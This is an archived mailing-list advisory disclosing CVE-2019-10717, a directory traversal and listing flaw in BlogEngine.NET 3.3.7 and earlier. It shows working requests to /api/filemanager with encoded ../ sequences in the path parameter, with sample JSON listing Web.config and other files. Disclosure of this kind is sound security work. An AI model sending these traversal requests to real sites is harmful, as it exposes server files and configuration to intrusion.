BlogEngine.NET 3.3.7 and earlier Directory Traversal + Listing

                							

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<h1 class="m-title">BlogEngine.NET 3.3.7 and earlier Directory Traversal + Listing</h1>
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<em>From</em>: aaron bishop &lt;abishop () linux com&gt;


<em>Date</em>: Mon, 24 Jun 2019 17:42:26 -0600


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<pre style="margin: 0em;">*CVE-2019-10717* - A Directory Traversal + Directory Listing exists on
BlogEngine.Net 3.3.7 and earlier through the *path* parameter used by the
/api/filemanager endpoint.  A request such as:

<a rel="nofollow" href="https://$HOST/api/filemanager?path=*%2F..%2f..%2f*">https://$HOST/api/filemanager?path=*%2F..%2f..%2f*</a>

Discloses the contents of the application root:

....
  {
    "IsChecked": false,
    "SortOrder": 25,
    "Created": "5/26/2018 1:53:02 PM",
    "Name": "Web.config",
    "FileSize": "19.41 kb",
    "FileType": 1,
    "FullPath": "/../../Web.config",
    "ImgPlaceholder": "fa fa-file-o"
  },
....

The contents of additional directories can be viewed by modifying the path:

<a rel="nofollow" href="https://$HOST/api/filemanager?path=*%2F..%2f..%2fContent*">https://$HOST/api/filemanager?path=*%2F..%2f..%2fContent*</a>

...
  {
    "IsChecked": false,
    "SortOrder": 15,
    "Created": "3/30/2019 9:09:23 PM",
    "Name": "toastr.scss",
    "FileSize": "6.92 kb",
    "FileType": 1,
    "FullPath": "/../../Content/toastr.scss",
    "ImgPlaceholder": "fa fa-file-o"
  }
...

Disclosure:
<a rel="nofollow" href="https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect">https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect</a>

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<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>BlogEngine.NET 3.3.7 and earlier Directory Traversal + Listing</strong> <em>aaron bishop (Jun 24)</em>
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